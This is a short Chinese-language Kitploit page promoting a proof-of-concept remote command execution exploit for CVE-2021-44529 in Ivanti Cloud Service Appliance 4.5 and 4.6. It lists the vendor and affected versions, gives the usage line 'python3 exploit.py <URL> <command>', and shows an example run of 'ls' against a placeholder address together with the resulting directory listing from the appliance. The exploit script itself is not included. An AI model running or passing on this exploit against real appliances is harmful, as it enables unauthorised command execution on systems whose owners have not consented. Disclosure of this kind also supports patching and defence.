CVE-2021-44529 — CVE-2021-44529 在 Ivanti Cloud Service Appliance 中的概念验证漏洞利用，允许通过精心构造的请求实现远程命令执行。 | Kitploit

分享

CVE-2021-44529

厂商主页：https://www.ivanti.com/

软件链接：https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6

版本：CSA 4.6 4.5 - 2021年8月停止支持（EOF）

执行

python3 exploit.py <URL> <command>

示例

python3 exploit.py 'https://x.x.x.x' 'ls'

LDMGdeploy.pdf
LDSupport.exe
OnDemand.php
RCClient.dmg
RCClient.exe
about.php
download.php
images
index.php
menus.php
site.conf
style.php
test.txt
tools.php